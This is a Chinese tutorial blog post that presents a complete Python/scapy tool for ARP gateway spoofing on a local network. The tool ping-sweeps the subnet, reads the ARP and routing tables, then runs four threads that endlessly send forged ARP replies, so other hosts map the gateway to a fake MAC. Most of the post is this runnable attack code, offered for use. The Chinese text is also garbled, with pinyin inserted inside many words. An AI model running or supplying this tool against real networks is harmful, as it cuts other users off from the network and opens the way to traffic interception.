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一、實(shí)驗(yàn)原理。
本次用代碼實(shí)現(xiàn)的是ARP網(wǎng)關(guān)欺騙,通過發(fā)送錯(cuò)誤的網(wǎng)關(guān)映射關(guān)系導(dǎo)致局域網(wǎng)內(nèi)其他主機(jī)無法正常路由。使用scapy中scapy.all模塊的ARP、sendp、Ether等函數(shù)完成包的封裝與發(fā)送。一個(gè)簡單的ARP響應(yīng)報(bào)文發(fā)送:
eth = Ether(src=src_mac, dst=dst_mac)#賦值src_mac時(shí)需要注意,參數(shù)為字符串類型 arp = ARP(hwsrc=src_mac, psrc=src_ip, hwdst=dst_mac, pdst=dst_ip, op=2)#src為源,dst為目標(biāo),op=2為響應(yīng)報(bào)文、1為請求 pkt = eth / arp endp(pkt)
因?yàn)閷?shí)驗(yàn)時(shí)發(fā)現(xiàn)主機(jī)并不會(huì)記錄來自網(wǎng)關(guān)的免費(fèi)ARP報(bào)文,無奈只有先想辦法把局域網(wǎng)內(nèi)存在的主機(jī)的IP-MAC映射關(guān)系拿到手,再逐個(gè)發(fā)送定向的ARP響應(yīng)報(bào)文。
二、運(yùn)行結(jié)果。
<1>先查看網(wǎng)關(guān),確保有網(wǎng):
<2>因?yàn)閟ocket需要sudo權(quán)限,所以以root權(quán)限跑起來:
<3>因?yàn)榇a寫的比較繁瑣,跑起來就比現(xiàn)場的工具慢很多,最后看下局域網(wǎng)內(nèi)主機(jī)的arp表:
網(wǎng)關(guān)172.16.0.254的MAC地址已經(jīng)從00:05:66:00:29:69變成01:02:03:04:05:06,成功!
三、實(shí)現(xiàn)代碼。
代碼過程:加載網(wǎng)關(guān)->掃描局域網(wǎng)內(nèi)主機(jī)->掃描完成->加載arp表->發(fā)送ARP響應(yīng)報(bào)文。
如圖,代碼分為六個(gè)部分。其中的arpATC.py為主程序,pingScanner.py為主機(jī)掃描器,arpThread.py為掃描線程,atcThread.py為發(fā)包線程,gtwaySearch.py獲取網(wǎng)關(guān),macSearch.py讀取本機(jī)arp表。
<1>pingScanner.py
通過os.popen函數(shù)調(diào)用ping,使用正則匹配返回字符串判斷目標(biāo)主機(jī)是否存在。
#!/usr/bin/python ''' Using ping to scan ''' import os import re import time import thread def host_scanner(ip): p = os.popen('ping -c 2 '+ip) string = p.read() pattern = 'Destination Host Unreachable' if re.search(pattern,string) is not None: print '[*]From '+ip+':Destination Host Unreachable!'+time.asctime( time.localtime(time.time()) ) return False else: print '[-]From '+ip+':Recived 64 bytes!'+time.asctime( time.localtime(time.time()) ) return True if __name__=='__main__': print 'This script is only use as model,function:scanner(ip)!'
<2>macSearch.py
同樣,調(diào)用os.popen函數(shù)帶入?yún)?shù)'arp -a'查看本地緩存的arp表信息。通過正則表達(dá)式截取每個(gè)IP對應(yīng)的MAC地址,保存在字典arp_table里并返回。
#!/usr/bin/python ''' Using re to get arp table arp -a ? (192.168.43.1) at c0:ee:fb:d1:cd:ce [ether] on wlp4s0 ''' import re import os import time def getMac(ip_table=[],arp_table={}): #print '[-]Loading ARP table...'+time.asctime( time.localtime(time.time()) ) p = os.popen('arp -a') string = p.read() string = string.split('\n') pattern = '(\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3})(.\s*at\s*)([a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2})' length = len(string) for i in range(length): if string[i] == '': continue result = re.search(pattern, string[i]) if result is not None: ip = result.group(1) mac = result.group(3) arp_table[ip]=mac ip_table.append(ip) #else: #print '[*]macSearch.getMac:result is None' #print '[-]ARP table ready!'+'<->'+time.asctime( time.localtime(time.time()) ) return (ip_table,arp_table) if __name__=='__main__': table = getMac() ip_table = table[0] arp_table = table[1] for i in range(len(ip_table)): ip = ip_table[i] print '[-]'+ip+'<-is located on->'+arp_table[ip]
<3>gtwaySearch.py
通過使用正則截取os.popen('route -n')的返回值確定網(wǎng)關(guān)IP,把獲取的網(wǎng)關(guān)IP與MAC當(dāng)作元組返回。
#!/usr/bin/python ''' 'Kernel IP routing table\nDestination Gateway Genmask Flags Metric Ref Use Iface\n 0.0.0.0 172.16.0.254 0.0.0.0 UG 100 0 0 enp3s0f1\n 172.16.0.0 0.0.0.0 255.255.255.0 U 100 0 0 enp3s0f1\n' ''' import re import os import time from macSearch import * def find_Gateway(): p = os.popen('route -n') route_table = p.read() pattern = '(0\.0\.0\.0)(\s+)((\d+\.){1,3}(\d+))(\s+)(0\.0\.0\.0)' result = re.search(pattern, route_table) if result is not None: #print '[-]Gateway is located on:' + result.group(3)+'...'+time.asctime( time.localtime(time.time()) ) table = getMac() ip = table[0][0] mac = table[1][ip] return (ip,mac) else: #print '[*]arpATC.find_Gateway:result is None!' #print '[*]Gateway is no found!' return if __name__=='__main__': print '[-]Looking for Gateway...'+time.asctime( time.localtime(time.time()) ) gateway = find_Gateway() if gateway is not None: print '[-]Gateway is located on:' + gateway[0]+'('+gateway[1]+')'+'...'+time.asctime( time.localtime(time.time())) else: print '[*]Gateway is no found!'+gateway[0]+time.asctime( time.localtime(time.time()) )
<4>arpThread.py
考慮到ping掃描主機(jī)時(shí)遇到不存在的主機(jī)會(huì)等待過長的時(shí)間,使用多線程掃描就稍微會(huì)快一點(diǎn)。這里是通過繼承、重寫run方法實(shí)現(xiàn)功能的。因?yàn)椴惶珪?huì)控制多線程,所以這里寫死了,是四個(gè)線程平分255個(gè)可能存在的主機(jī)。
#/usr/bin/python import threading import time from gtwaySearch import * from macSearch import * from pingScaner import * class arpThread(threading.Thread): def __init__(self,tag_ip,number): super(arpThread,self).__init__() self.tag_ip = tag_ip self.number = number self.status = False def run(self): add = 0 if (self.number-1)==0: add = 1 start = (self.number-1)*64 + add #1-63,64-127,128-191,192-256 end = start + 64 for i in range(start, end): if i < 255: host = self.tag_ip.split('.') host[3] = str(i) host = '.'.join(host) host_scanner(host) self.status=True print '[-]Status of Thread_%d is '%self.number+str(self.status) #print '[-]Scan completed!' + time.asctime(time.localtime(time.time()))
<5>atcThread.py
使用與arpThread.py中類似的方法繼承、重寫run方法實(shí)現(xiàn)多線程發(fā)包的功能。發(fā)包時(shí)源IP是指定的字符串“01:02:03:04:05:06”,源IP為獲取的網(wǎng)關(guān)IP,目標(biāo)IP和目標(biāo)MAC皆為從本機(jī)arp表中獲取的真實(shí)存在的主機(jī)IP與MAC。
#!/usr/bin/python import threading from scapy.all import ARP,Ether,sendp,fuzz,send class atcThread(threading.Thread): def __init__(self,table,gtw_ip,gtw_mac): super(atcThread,self).__init__() self.table = table self.gtw_ip = gtw_ip self.gtw_mac = gtw_mac def run(self): ip_table = self.table[0] arp_table = self.table[1] while True: for i in range(len(ip_table)): tag_ip = ip_table[i] tag_mac = arp_table[tag_ip] eth = Ether(src=self.gtw_mac, dst=tag_mac) arp = ARP(hwsrc='01:02:03:04:05:06', psrc=self.gtw_ip, hwdst=tag_mac, pdst=tag_ip, op=2) pkt = eth / arp sendp(pkt) #pkt = eth/fuzz(arp) #send(pkt,loop=1)
<6>arpATC.py
代碼的主程序,代碼過程:
加載網(wǎng)關(guān)->掃描局域網(wǎng)內(nèi)主機(jī)->掃描完成->加載arp表->發(fā)送ARP響應(yīng)報(bào)文->等待。
(四線程) (四線程)
因?yàn)橹鞒绦蚴撬姥h(huán),所以即便是攻擊完成后也不會(huì)退出??梢栽赼rpThread啟動(dòng)前加入for循環(huán),這樣就能無限發(fā)送了。
#!/usr/bin/python ''' ''' import os from gtwaySearch import * from arpThread import arpThread from atcThread import atcThread def atc_WrongGTW(gtw): src_ip = gtw[0] src_mac = gtw[1] print '[-]Start scanning hosts...' + time.asctime(time.localtime(time.time())) arpThread_1 = arpThread(src_ip,1) arpThread_2 = arpThread(src_ip,2) arpThread_3 = arpThread(src_ip,3) arpThread_4 = arpThread(src_ip,4) arpThread_1.start() arpThread_2.start() arpThread_3.start() arpThread_4.start() t = False while(t==False): t = arpThread_1.status and arpThread_2.status and arpThread_3.status and arpThread_4.status time.sleep(5) table = getMac() print '[-]Scan completed!' + time.asctime(time.localtime(time.time())) flag = raw_input('[-]Ready to start attacking:(y/n)') while(True): if flag in ['y', 'Y', 'n', 'N']: break print "[*]Plz enter 'y' or 'n'!" flag = raw_input() if flag in ['n','N']: print '[*]Script stopped!' else: atcThread_1 = atcThread(table,src_ip,src_mac) atcThread_2 = atcThread(table,src_ip, src_mac) atcThread_3 = atcThread(table,src_ip, src_mac) atcThread_4 = atcThread(table,src_ip, src_mac) os.popen('arp -s %s %s'%(src_ip,src_mac)) print '[-]'+'arp -s %s %s'%(src_ip,src_mac) print '[-]Strat attack...' atcThread_1.start() atcThread_2.start() atcThread_3.start() atcThread_4.start() if __name__=='__main__': gateway = find_Gateway() if gateway is not None: atc_WrongGTW(gateway) while True: pass else: print "[*]Can't find Gateway!"
以上這篇Python利用scapy實(shí)現(xiàn)ARP欺騙的方法就是小編分享給大家的全部內(nèi)容了,希望能給大家一個(gè)參考,也希望大家多多支持億速云。
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